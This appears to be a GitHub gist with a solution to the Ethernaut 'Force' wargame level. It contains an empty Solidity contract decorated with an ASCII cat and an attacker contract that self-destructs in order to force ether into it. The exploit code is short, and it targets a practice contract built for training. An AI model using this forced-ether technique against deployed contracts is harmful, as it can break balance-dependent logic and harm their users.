Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Last active January 17, 2022 03:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tennisonchan/10a689c65e2d40722dea87e082c9a3e8 to your computer and use it in GitHub Desktop.
Save tennisonchan/10a689c65e2d40722dea87e082c9a3e8 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Force.sol";
contract Controller {
Force target;
constructor(address targetAddress) public {
target = Force(targetAddress);
}
function fundContract() public payable {
address(this).call{value: msg.value}("");
}
function attrackContract () public {
address payable addr = payable(address(target));
selfdestruct(addr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment